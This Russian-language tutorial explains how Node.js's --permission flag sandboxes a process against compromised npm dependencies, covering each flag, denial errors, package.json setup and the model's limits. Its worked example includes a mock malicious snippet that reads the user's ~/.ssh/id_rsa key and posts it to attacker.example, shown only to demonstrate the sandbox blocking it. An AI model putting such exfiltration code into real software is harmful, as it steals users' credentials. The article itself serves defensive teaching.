Главная / Статьи / Изоляция папки node_modules с помощью флагов модели разрешений Node.js

Изоляция папки node_modules с помощью флагов модели разрешений Node.js

Узнайте, как флаг --permission в Node.js по умолчанию запрещает доступ к файловой системе, сети и процессам, как точно предоставить такой доступ и в чём заключаются его ограничения.

2794 слов

Каждая команда npm install представляет собой акт доверия. Проект с десятью прямыми зависимостями обычно содержит от 500 до 1 500 пакетов в каталоге node_modules, и почти ни один из них не использовался никем из вашей команды. Модель разрешений Node.js позволяет запустить процесс в режиме отказа по умолчанию, так что скомпрометированный пакет сможет обращаться только к файлам, сокетам и процессам, которые вы явно разрешили. В этом руководстве объясняется, как работают проверки, как включить их без повреждения приложения и какие пробелы остаются даже при правильной настройке всего.

Почему абсолютное доверие — это настоящая проблема

По умолчанию Node.js не делает различия между кодом, написанным вашей командой, и кодом, опубликованным кем-то другим в реестре. Любой код, загружаемый в процесс, наследует полные привилегии пользователя операционной системы, запускающего его. На практике это означает, что любая зависимость может:

  • читать всё то, что может прочитать этот пользователь, включая файлы .env, приватные ключи SSH и учетные данные в облаке, такие как ~/.aws/credentials;
  • открывать выходные соединения и отправлять эти данные куда-либо ещё;
  • запускать дочерние процессы и выполнять команды оболочки;
  • загружать нативные дополнения .node, которые представляют собой скомпилированный машинный код, над которым правила на уровне JavaScript не имеют власти.

В реальных инцидентах именно это использовалось злоумышленниками. Украденный пакет event-stream содержал вредоносный код, нацеленный на библиотеку для хранения кошельков Bitcoin, пакет ua-parser-js был захвачен и переиздан с вирусом, а несколько червей для кражи токенов распространились через npm. Ни для одного из них не требовался сложный способ атаки; им достаточно было работать внутри процесса, полностью доверяющего им. Достаточно одного скомпрометированного учетной записи администратора на третьем уровне иерархии. Если вы хотите более подробно узнать о том, как происходят эти атаки и какие существуют защиты на уровне реестра, прочитайте как работают атаки на цепочку поставок npm.

Модель разрешений решает проблему на этапе выполнения программы. Это песочница на уровне процесса, работающая по принципу добровольного использования и инвертирующая стандартное поведение: ничего не разрешается до тех пор, пока вы сами этого не разрешите.

Что такое модель разрешений и каково её текущее состояние

Эта функция ограничивает доступ к определённым ресурсам во время выполнения программы. После активации соответствующего флага процесс теряет доступ к файловой системе, сети, дочерним процессам, рабочим потокам, нативным дополнениям, WASI и FFI, и может восстановить каждую из этих возможностей только с помощью явного флага разрешения. Официальная документация Node.js по разрешениям служит источником информации о точном поведении в вашей версии.

Эта функция быстро созрела:

  • Впервые она появилась как экспериментальная функция в Node.js v20.0.0 в апреле 2023 года.
  • Начиная с версий v23.5.0 и v22.13.0 она отмечена как Stability 2 (стабильная), поэтому это уже не эксперимент, который нужно скрывать с помощью переключателя функций.
  • В более поздних версиях требования становились всё строже. Согласно краткому обзору изменений 2026 года, в новых версиях требуется явное разрешение для использования API файловой системы, связанных с символическими ссылками, проверка прав при подключении Unix-доменных сокетов, а также более тонкий контроль над переменными окружения с помощью параметра --allow-env. Считайте эти требования зависимыми от версии и уточняйте их в документации к конкретной версии, которую вы используете.
  • Практический результат в том, что теперь вы можете полагаться на это как на реальный слой защиты от компрометации цепочки поставок, а не просто как на экспериментальный инструмент.

    Ментальная модель: брандмауэр вокруг собственного процесса

    Сетевой брандмауэр определяет, какие пакеты могут пройти. Модель разрешений выполняет аналогичную функцию для доступа к ресурсам внутри одного процесса. Без неё функция fs.readFileSync() просто читает файл. С её использованием вызов сначала проходит проверку, которая определяет, находится ли данный ресурс в списке разрешённых. Если да, ничего не меняется. Если нет, вызов выбрасывает ошибку, и файл так и не открывается.

    Важным моментом является то, где происходит эта проверка. Она реализуется внутри среды выполнения, на уровне слоя связи C++, а не в JavaScript. Злонамеренный пакет не может обойти её, перезаписав функцию fs.readFileSync или обернув модуль, поскольку решение принимается на уровне, недоступном для обычного JavaScript.

    Отслеживание отклонённого вызова в среде выполнения

    Чтобы сделать это менее абстрактным, рассмотрим, что происходит, когда какой-то код в процессе пытается прочитать файл /etc/passwd:

    1. Ваш код или любой модуль, загруженный в тот же процесс, вызывает fs.readFileSync('/etc/passwd').
    2. Этот вызов попадает во внутренний механизм fs Node, слой, который фактически взаимодействует с операционной системой.
    3. Перед выполнением любых операций ввода-вывода этот механизм запрашивает у модели разрешений, имеет ли процесс право fs.read для данного конкретного пути. Это то же самое, что можно выяснить с помощью process.permission.has('fs.read', path).
    4. Если путь разрешен, чтение происходит так же, как обычно. Корректный код не замечает никаких различий в поведении.
    5. Если путь не разрешен, Node выбрасывает ошибку с определенной структурой, которая является последовательной и удобной для анализа.

    Выброшенная ошибка содержит поле code, название отсутствующего разрешения и информацию о запрашиваемом ресурсе:

    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/etc/passwd'
    }
    

    Поскольку ERR_ACCESS_DENIED является стабильным кодом ошибки, его можно перехватить и осознанно на него отреагировать, а библиотеки, учитывающие наличие разрешений, могут поступить аналогичным образом вместо того, чтобы привести к сбою всего приложения.

    Впервые включение сандбокса

    Чтобы включить эту функцию, достаточно добавить один флаг перед файлом входа:

    node --permission index.js
    

    Ожидайте, что это сразу же приведет к ошибке, даже при использовании пустого скрипта:

    $ node --permission index.js
    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/index.js'
    }
    

    Это застает многих врасплох, но это логично: загрузка index.js сама по себе представляет собой операцию чтения из файловой системы, и на такие операции читания также распространяются те же ограничения, что и на все остальные. Для собственного исходного кода не существует встроенных исключений, что является полезным первым уроком о степени строгости этой системы.

    Решение заключается в разрешении операций чтения из каталога проекта:

    node --permission --allow-fs-read=. index.js
    

    Теперь файл входа загружается, но первый вызов require() внутри пакета завершится ошибкой, поскольку процесс разрешения и загрузки модулей также осуществляется с диска. Обычным следующим шагом является прямое разрешение доступа к папке node_modules:

    node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
    

    Строго говоря, папка ./node_modules уже находится внутри директории ., поэтому второй флаг избыточен при простой структуре проекта. Его отдельное указание становится значимым, когда вы позже ограничиваете первый флаг, например, директорией ./src, или когда зависимости размещаются в другой директории в рамках монорепозитория.

    Пока вы ещё изучаете, какие пути использует ваше приложение, можно разрешить все операции с чтением и оставить все остальные возможности заблокированными:

    node --permission --allow-fs-read=* index.js
    

    Рассматривайте знак подстановки * как временные помощи при обучении. Он допустим во время разработки или для сервисов, где чтение файлов не является критически важной частью, но он позволяет любым зависимостям читать ваши секретные данные, поэтому ужесточьте его настройки перед выпуском любого приложения, обрабатывающего учетные данные.

    Каждая ограниченная функция и флаг для её активации

    Чтение из файловой системы — это лишь одно из таких ограничений. Каждый класс ресурса соответствует своему собственному флагу:

    • Чтение из файловой системы: --allow-fs-read=<путь>.
    • Запись в файловую систему: --allow-fs-write=<путь>.
    • Доступ к сети: --allow-net.
    • Дочерние процессы: --allow-child-process.
    • Рабочие потоки: --allow-worker.
    • Нативные дополнения: --allow-addons.
    • Интерфейс системы WebAssembly: --allow-wasi.
  • Интерфейс внешних функций: --allow-ffi.
  • Некоторые из них ведут себя определенным образом, который стоит понимать перед их использованием:

    • Два флага файловой системы принимают путь и могут использоваться несколько раз, например --allow-fs-read=./data --allow-fs-read=./config.
    • --allow-net не принимает аргументов. Это единый переключатель, который охватывает входящую и исходящую сетевую активность, включая «сырые» сокеты, http, https, fetch и сокеты домена Unix.
    • --allow-child-process также влияет на то, как ограничения передаются дочерним процессам. Процесс, созданный с помощью child_process.fork(), автоматически получает ваши флаги разрешений, тогда как child_process.spawn() передаёт их через переменную окружения NODE_OPTIONS. В обоих случаях дочерний процесс остаётся внутри песочницы и не выходит из неё.
    • --allow-addons требует наибольшей осторожности. Нативные дополнения — это скомпилированные библиотеки на C или C++, загружаемые с помощью dlopen, и после загрузки они выполняются вне движка JavaScript без дополнительной проверки разрешений. Предоставление этого флага коду, которому вы не полностью доверяете, даёт этому коду примерно те же полномочия, что и при отсутствии песочницы вовсе.

    Пример реализации: загрузчик CSV и вредоносная зависимость

    Рассмотрим небольшой, но реалистичный скрипт. Он читает CSV-файл с диска, парсит его с помощью стороннего пакета csv-parse и отправляет записи в API с использованием ещё одного стороннего пакета — axios:

    // process-csv.js
    const fs = require('fs');
    const { parse } = require('csv-parse/sync'); // third-party dependency
    const axios = require('axios');              // third-party dependency
    
    const raw = fs.readFileSync('./data/input.csv', 'utf-8');
    const records = parse(raw, { columns: true });
    
    axios
      .post('https://api.example.com/ingest', records)
      .then(() => console.log('Uploaded', records.length, 'records'));
    

    Если запустить скрипт просто командой node process-csv.js, всё будет работать. То же самое может произойти, если в небольшую версию csv-parse или одного из его зависимостей будет внедрен скрытый патч. Приведённый ниже фрагмент демонстрирует, как может выглядеть такой патч: он читает личный SSH-ключ пользователя и отправляет его на хост, контролируемый злоумышленником.

    // hypothetical malicious code inside a compromised transitive dependency
    const fs = require('fs');
    const os = require('os');
    const https = require('https');
    
    const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
    https.request('https://attacker.example/collect', { method: 'POST' })
         .end(secret);
    

    Без сандбокса этот скрипт работает бесшумно, и ключ исчезает до того, как кто-либо это заметит. Теперь запустим тот же скрипт, предоставив ему только те полномочия, которые он действительно нуждается, а именно: возможность читать файлы проекта и его зависимостей, а также доступ в сеть:

    node --permission \
         --allow-fs-read=. \
         --allow-fs-read=./node_modules \
         --allow-net \
         process-csv.js
    

    Основная часть работы всё равно выполняется успешно: скрипт считывает файл ./data/input.csv, загружает его модули и обращается к API. Однако передача данных терпит неудачу сразу при обработке ключа:

    Error: Access to this API has been restricted
        at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/.ssh/id_rsa'
    }
    

    os.homedir() возвращает путь, находящийся вне директорий . и ./node_modules, поэтому этот путь не входит в список разрешённых, и процесс выкачки данных так и не доходит до установления соединения.

    Обратите внимание, что здесь не сыграло роли. Поскольку легитимный скрипт требует параметра --allow-net, загружаемый код всё равно мог отправлять сетевые запросы. Ключом к безопасности стал ограниченный диапазон прав на чтение. Та же логика предупреждает о распространённой ошибке: если хранить файл .env в корне проекта и разрешать чтение из директории ., каждая зависимость сможет также прочитать этот файл. Храните конфиденциальную информацию вне директорий с правами на чтение или вставляйте её с помощью механизма, который не требует доступа к файловой системе со стороны процесса.

    Отключение создания процессов

    Многие реальные загружаемые коды вообще не выполняют операций чтения файлов, а просто запускают оболочку для загрузки и выполнения второй фазы. При активном использовании параметра --permission и отсутствии параметра --allow-child-process попытка проваливается ещё до запуска любого процесса:

    node:internal/child_process:388
        const err = this._handle.spawn(options);
        ^
    Error: Access to this API has been restricted
        at ChildProcess.spawn (node:internal/child_process:388:28)
        at node:internal/main/run_main_module:17:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'ChildProcess'
    }
    

    Большинство кода приложений, такого как преобразование данных, вызовы внутренних сервисов или отображение шаблонов, не имеют причин запускать процессы. Если ничто в вашей иерархии зависимостей действительно не требует использования child_process, отключение этого флага позволяет избавиться от целой категории атак без каких-либо затрат.

    Запрос разрешения изнутри кода

    Когда модель активна, Node предоставляет доступ к process.permission, что позволяет коду проверять наличие необходимых прав перед их использованием, вместо того чтобы полагаться на возникающие исключения. Вы можете проверять права в общем виде или ограничить запрос конкретным путем:

    if (process.permission) {
      console.log(process.permission.has('fs.write'));                        // true / false
      console.log(process.permission.has('fs.write', '/app/uploads'));        // scoped check
      console.log(process.permission.has('fs.read'));                        // true / false
      console.log(process.permission.has('net'));                             // true / false
    }
    

    Условие if (process.permission) имеет важное значение, поскольку объект существует только тогда, когда процесс запускался с параметром --permission. Для авторов библиотек этот API особенно ценен: пакет с необязательной телеметрией может проверить process.permission.has('net') и тихо отключить эту функцию в процессе с песочницей, вместо того чтобы остановить основное приложение.

    Включение песочницы в работу проекта

    Вручную вводить длинный список флагов сопряжен с риском ошибок, а песочница, которую кто-то забыл включить, не обеспечивает никакой защиты. Самое простое решение — поместить флаги в скрипт start в файле package.json:

    {
      "scripts": {
        "start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
      }
    }
    

    Чтобы применить одинаковую политику ко всем скриптам npm, включая инструменты, запускаемые с помощью npx, вы можете установить необходимые флаги один раз через NODE_OPTIONS. Имейте в виду, что сам npm является программой Node.js, поэтому он также подчиняется этим ограничениям; именно поэтому в данном примере используется широкий флаг --allow-fs-read=*.

    export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
    npm start
    

    Для одного вызова npx передавайте опции напрямую:

    # enabling it for a one-off npx execution
    npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
    

    Этот последний пример снова показывает, что ничему нельзя доверять автоматически. Чтобы найти и запустить инструмент, Node нуждается в правах на чтение в том месте, где фактически находится пакет — будь то глобальная директория node_modules, указанная командой npm prefix -g, или кэш npx. Даже команде, которую вы явно запрашиваете к выполнению, необходимо предоставить доступ.

    Ограничения, которые необходимо учитывать перед использованием

    Модель разрешений представляет собой мощный инструмент, но рассматривать её как полное решение опасно.

    Разрешения применяются к всему процессу, а не к отдельным пакетам

    Это самое важное ограничение для тех, кто хочет строго контролировать конкретные зависимости. Сандбокс создаёт разделение между процессом Node.js и операционной системой, но не позволяет задавать правила вроде «функция left-pad не имеет доступа к сети, в то время как axios имеет». Все модули в процессе используют один и тот же набор разрешений, поэтому предоставление права --allow-net вашему HTTP-клиенту автоматически предоставляет его и всем остальным пакетам. Модель повышает стандарты для всего процесса в целом, не изолируя пакеты друг от друга. Если вам действительно нужна изоляция по отдельным компонентам, придётся разделить работу на отдельные процессы с разными параметрами.

    Нативные дополнения обходят все ограничения сразу после загрузки

    После того как разрешение --allow-addons предоставлено и загружен нативный модуль, его скомпилированный код выполняется без дополнительного контроля. Сандбокс не имеет возможности просматривать машинный код.

    Код контроля также может содержать собственные ошибки

    Эти проверки представляют собой обычный код во время выполнения и могут давать неверные результаты. Уязвимость, зафиксированная в 2026 году и имеющая идентификатор CVE-2026-58043, касалась логики сопоставления путей: списки разрешенных файлов хранились в дереве радикса, и пути, имевшие лишь общий префикс с разрешенным путем, могли неправильно получить доступ. Это позволяло осуществлять чтение или запись за пределами установленных границ. Устраненные версии — 26.5.1, 24.18.1 и 22.23.2 для соответствующих линеек выпусков; официальный список можно найти в разделе обновлений безопасности Node.js. Главный вывод заключается не в том, чтобы избегать этой функции, а в том, чтобы постоянно обновлять свою среду выполнения, поскольку даже на уязвимой версии наличие правильных флагов все равно оставляет уязвимости.

    Это снижает ущерб, но не предотвращает установку

    Песочница ограничивает радиус поражения при выполнении вредоносного кода. Однако она не предотвращает установку такого кода. Продолжайте использовать npm audit, устанавливайте пакеты с помощью npm ci, опираясь на сохранённый файл lockfile, а не на размытые диапазоны версий; тщательно проверяйте новые косвенные зависимости перед обновлением, а также рассмотрите возможность использования сервисов сканирования зависимостей, таких как Socket или Snyk, наряду с механизмами контроля во время выполнения.

    Чек-лист для внедрения

    • Во время разработки начните с параметра --permission --allow-fs-read=*, чтобы видеть, какие дополнительные права требует ваше приложение, без необходимости спорить по поводу конкретных путей.
    • Перед выпуском сузьте параметры --allow-fs-read и --allow-fs-write до каталогов, которые действительно использует приложение, таких как папки с данными, конфигурация и node_modules. Никогда не разрешайте доступ к домашней папке или каталогу /.
  • Разрешайте флаги возможностей, такие как сетевое взаимодействие, дочерние процессы, рабочие процессы, плагины, WASI или FFI, только при наличии реальной необходимости. Каждый пропущенный флаг закрывает возможность атаки.
  • Считайте необходимость использования параметра --allow-addons предупреждающим сигналом и проведите аудит зависимостей, которые его требуют.
  • Храните конфиденциальные данные в таких каталогах, которые процесс не может прочитать.
  • Кодируйте флаги в вашем скрипте запуска или в переменной NODE_OPTIONS, чтобы никто не забыл о них.
  • Используйте актуальную версию Node.js с установленными патчами, поскольку слой обеспечения соблюдения правил также получает исправления безопасности, как и любая другая часть среды выполнения.
  • Основные выводы

    Атаки на цепочку поставок возможны потому, что Node.js доверяет каждому пакету в структуре так же, как и собственному коду. Модель разрешений не устраняет это доверие, поскольку код всё равно выполняется в вашем процессе, но она превращает неограниченный радиус поражения в ограниченный, определяемый выбранными флагами. Её эффективность зависит от степени строгости этих флагов: узкие диапазоны доступа к файловой системе и отсутствие флагов разрешений предотвращают работу большинства вредоносных кодов, тогда как широкие варианты масок и параметр --allow-addons незаметно снижают уровень защиты. В сочетании с обновлённой средой выполнения и надлежащим управлением зависимостями это один из самых недорогих способов обеспечения безопасности для сервисов на Node.js.